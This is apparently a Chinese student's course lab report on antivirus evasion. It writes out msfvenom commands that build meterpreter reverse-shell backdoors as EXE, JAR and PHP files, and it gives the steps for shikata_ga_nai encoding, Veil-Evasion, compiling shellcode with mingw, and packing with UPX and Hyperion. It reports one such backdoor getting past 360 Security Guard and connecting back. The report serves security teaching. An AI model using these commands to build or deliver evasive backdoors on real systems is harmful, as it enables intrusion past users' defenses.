2018~2019-4 20165107 网络对抗技术 Exp3 免杀原理与实践

20165107 Exp3 免杀原理与实践

实验要求

1、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧

2、通过组合应用各种技术实现恶意代码免杀

3、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

 

基础问题回答

 

(1)杀软是如何检测出恶意代码的?

 

  • 基于特征码的检测:我们发现某类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,这段或多段数据即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
  • 启发式恶意软件检测:根据些片面特征去推断,通常不精确。
  • 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

 

(2)免杀是做什么?

 

  • 让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。

 

(3)免杀的基本方法有哪些?

 

  • 改变特征码:对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码。

 

  • 改变攻击行为:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

 

  1. 正确使用msf编码器,生成exe文件。在实验二中使用msf生成了后门程序,我们可以使用VirusTotalVirscan这两个网站对生成的后门程序进行扫描。

           VirusTotal扫描结果如下:

Virscan网站的扫描结果如下:

由此可见,不加任何处理的后门程序可以被大多数杀毒软件检测到。

下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.150.132 LPORT=5107 -f exe > met-encoded.exe

扫描一下:

  • 十次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.150.132 LPORT=5107 -f exe > met-encoded10.exe

扫描一下:

可见多次编码对免杀并没有太大的效果。我觉得是因为编码器使用默认参数或模板,有一定的固定特征。一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。

2、msfvenom生成jar文件

  • 生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=5107 x> lyl_backdoor_java.jar 并进行扫描。

3、msfvenom生成php文件

  • 生成PHP后门程序使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=5107 x> 20165107_backdoor.php

扫描结果如下:

4. 使用veil-evasion生成后门程序及检测

  •  安装veil
  •  用sudo apt-get install veil-evasion命令安装Veil
  • 之后用veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间,输入veil指令,会出现下面这个界面。

 

use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.150.132,注意此处的IP是KaliIP;
  • 设置端口,命令为:set LPORT 5107
  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5107
  • 进行扫描

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=5107 -f c用c语言生成一段shellcode;

  • 创建一个文件20165107.c,然后将unsigned char buf[]赋值到其中:

  • 使用命令:i686-w64-mingw32-g++ 20165107.c -o 20165107.exe编译这个.c文件为可执行文件;

  • 检测结果如下图:

  • 当想要使用windows上执行该程序时,被电脑的360卫士查杀。

6、加壳

  • 使用c+shellcode+加压缩壳
  • 原理是将shellcode替换到以上代码的数组后给编译生成的EXE文件加壳中达到免杀效果
  • 使用压缩壳(UPX

       给之前的20165107.exe加个壳得到lyl_upxed.exe;

然而杀软依然能检测到:

  • 如果我们想要测试一下他是否可以反弹连接又不想被查杀怎么办呢?——可以设置白名单,我用的是360卫士,具体如下:

  • 再进行反弹连接,成功连接!

进行扫描检测,免杀效果不错:

 

  • 加密壳Hyperion

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

进入目录/usr/share/windows-binaries/hyperion/中

输入命令wine hyperion.exe -v lyl_upxed.exe lyl_upxed_Hyperion.exe进行加壳并尝试反弹连接

进行检测:

 

任务二、通过组合应用各种技术实现恶意代码免杀

首先用C语言生成一段shellcode,然后将C语言文件变成可执行文件,然后进行加壳,先进行压缩壳,然后进行加密壳(具体操作可看上面任务)

然后进行360查杀如图:

有趣的是,比如360杀软都是只在第一次扫描不出来,你再次查杀是就会被发现,我觉得这可能和杀软的特征库更新有关吧。

 

任务三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 对方电脑的版本:Windows 7x64 虚拟机
  • 杀软名称版本:360安全卫士 11.0.5.2002
  • 文件扫描未检测出问题。
  • 文件双击打开,可运行,杀软未阻止,可实现反弹连接。

实验遇到的问题及解决方法

我在交叉编译时出现以下问题:“Bash: i686-w64-mingw32-g++:未找到命令”

解决 :我的kali里没有自带的minw64编译器,所以需要sudo apt-get install mingw-w64来安装。

 

实践总结与体会

1、开启杀软能绝对防止电脑中恶意代码吗:

答:经过实验,我发现杀软不能检测到的恶意代码还是非常多的,可谓漏洞百出,安装了杀软不能保证计算机网络及系统的绝对安全,杀软的监测能力十分有限。

2、实验体会:

答:本次实验承接上次的后门实验,是实验二的进阶学习,这就需要我们熟练掌握和运用后门技术,通过本次实验,我了解了免杀的概念、免杀的基本方法,了解并使用了VirusTotal、Virscan等工具,实现了最简单的免杀的处理手段,过程十分有趣,在实践中熟习后门和免杀基本操作。同时,我也意识到杀软的监测能力十分有限,所以在以后上网的过程中还需提高网络安全意识,下载软件通过正规渠道,从而降低被植入后门的可能性。我也相信,杀软这只盾也会随着资源库的更新、网安技术的成熟愈发强大坚固,能够给与广大互联网用户更优秀的、更加可信赖的安全防护。

 

posted on 2019-03-31 21:54  刘一林  阅读(176)  评论(0编辑  收藏  举报

导航